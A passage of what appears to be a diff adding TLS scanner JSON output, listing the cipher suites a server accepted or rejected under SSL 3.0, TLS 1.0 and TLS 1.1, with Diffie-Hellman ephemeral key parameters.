"TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-RSA-SEED-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-DSS-SEED-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-DSS-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-DSS-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + } + ], + "tls_version_used": "SSL_3_0" + }, + "status": "COMPLETED" + }, + "tls_1_0_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_SHA", + "openssl_name": "RC4-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_MD5", + "openssl_name": "RC4-MD5" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DES-CBC-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "AES256-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "AES128-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DES-CBC3-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-DES-CBC-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC-SHA" + }, + "ephemeral_key": { + "curve_name": null, + "generator": "Ag==", + "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", + "public_bytes": "tbXl7bbfigmI+fjbYZLSRrhC/XFNZO9IkqfPK7RnaStaIDQGd9+nA4RhGbkILJbs1nVcBT//a+CziXvkC64UK6uJA3v9ethtorD9w5aUbn0Ta+FU8STSTyAFKocGxLnMdKmjYEID+Myg4vQgsBFiO0n8SaP+NAZbnALQiCglRVk=", + "size": 1024, + "type_name": "DH", + "x": null, + "y": null + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-RSA-AES256-SHA" + }, + "ephemeral_key": { + "curve_name": null, + "generator": "Ag==", + "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", + "public_bytes": "vNmM9wOQoZjxpl/aUHRs2UF/iWzacoC0xjxNWLGlh0wcSGF1D+x+MhahkAIyaQK7Dg1IXDek42cu9BuACofutd8YTo3IXcmbW9CEN1G54p5mRo7agv4Ht++brz5aWyn7zUElGjaPM8hto3SG1XMgu96IcRW+ZKnTFZ95dE9gvdw=", + "size": 1024, + "type_name": "DH", + "x": null, + "y": null + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-RSA-AES128-SHA" + }, + "ephemeral_key": { + "curve_name": null, + "generator": "Ag==", + "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", + "public_bytes": "UbOlcFD4YiZxysHaZmrtjtGP9SSMK+Y3Ev99dHhLfSYO4Yv7AXS/JHB0fa9JUfDtq4rkcqV88awhw79MwUvbGjsOrWjJpWFMjmMMWMXF5oxn3AUe37vcJcKZpOhGn//9zM5fUUHk4e1sDwzbWE59LNc8yA+Vv8BuLh8oTLe/1kc=", + "size": 1024, + "type_name": "DH", + "x": null, + "y": null + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC3-SHA" + }, + "ephemeral_key": { + "curve_name": null, + "generator": "Ag==", + "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", + "public_bytes": "JQExWdyNTxE9XsjJU7OsARvCxYp8OTvL7hJPAis0jCKyQwCPPlx/n8qJ4mkl9exXDdJD3br4xweBS7gmdddqlSG/rcJaX9MPq/HWea9pbOGTBiNc9CVSdsxQSN5UaFr8GaNYFdU8fhSXXHZhJGN7ru7QEcZsxTE8JKe5w8UG8Dk=", + "size": 1024, + "type_name": "DH", + "x": null, + "y": null + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" + }, + "ephemeral_key": { + "curve_name": null, + "generator": "Ag==", + "prime": "n9uLigBFRPAEXxc30LouCydM3xqfWIIY+0NTFqFuN0Fx/RnY2PN8Ob+GP9YOPjAGgKMDDG5MN1fQj3DmqocQMw==", + "public_bytes": "lyVihinyUAIQbK9kOL6ZDv6RDzoPdl7yut/JVzmIu2/+Cofs6H0rtDDHzfWPPg/PH+8jdhuMH6VrfSwg+XJ55w==", + "size": 512, + "type_name": "DH", + "x": null, + "y": null + } + } + ], + "is_tls_version_supported": true, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "SEED-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA", + "openssl_name": "NULL-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_MD5", + "openssl_name": "NULL-MD5" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_IDEA_CBC_SHA", + "openssl_name": "IDEA-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "CAMELLIA256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "CAMELLIA128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", + "openssl_name": "AECDH-RC4-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 0, + "name": "TLS_ECDH_anon_WITH_NULL_SHA", + "openssl_name": "AECDH-NULL-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "AECDH-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "AECDH-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "AECDH-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-RSA-RC4-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_RSA_WITH_NULL_SHA", + "openssl_name": "ECDH-RSA-NULL-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-RSA-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-RSA-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-ECDSA-RC4-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDH-ECDSA-NULL-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-RSA-RC4-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-RSA-NULL-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-ECDSA-RC4-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-ECDSA-NULL-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", + "openssl_name": "ADH-SEED-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_RC4_128_MD5", + "openssl_name": "ADH-RC4-MD5" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 56, + "name": "TLS_DH_anon_WITH_DES_CBC_SHA", + "openssl_name": "ADH-DES-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "ADH-CAMELLIA256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "ADH-CAMELLIA128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "ADH-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "ADH-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ADH-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-ADH-RC4-MD5" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-ADH-DES-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DH-RSA-SEED-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-RSA-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-RSA-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DH-DSS-SEED-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-DSS-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-DSS-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-RSA-SEED-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-DSS-SEED-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-DSS-AES256-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-DSS-AES128-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC3-SHA" + }, + "error_message": "TLS alert: handshake failure" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" + }, + "error_message": "TLS alert: handshake failure" + } + ], + "tls_version_used": "TLS_1_0" + }, + "status": "COMPLETED" + }, + "tls_1_1_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [], + "is_tls_version_supported": false, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "SEED-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_SHA", + "openssl_name": "RC4-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_MD5", + "openssl_name": "RC4-MD5" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA", + "openssl_name": "NULL-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_MD5", + "openssl_name": "NULL-MD5" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_IDEA_CBC_SHA", + "openssl_name": "IDEA-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "CAMELLIA256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "CAMELLIA128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-DES-CBC-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", + "openssl_name": "AECDH-RC4-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 0, + "name": "TLS_ECDH_anon_WITH_NULL_SHA", + "openssl_name": "AECDH-NULL-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "AECDH-AES256-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "AECDH-AES128-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "AECDH-DES-CBC3-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-RSA-RC4-SHA" + }, + "error_message": "TLS error: wrong version number" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": 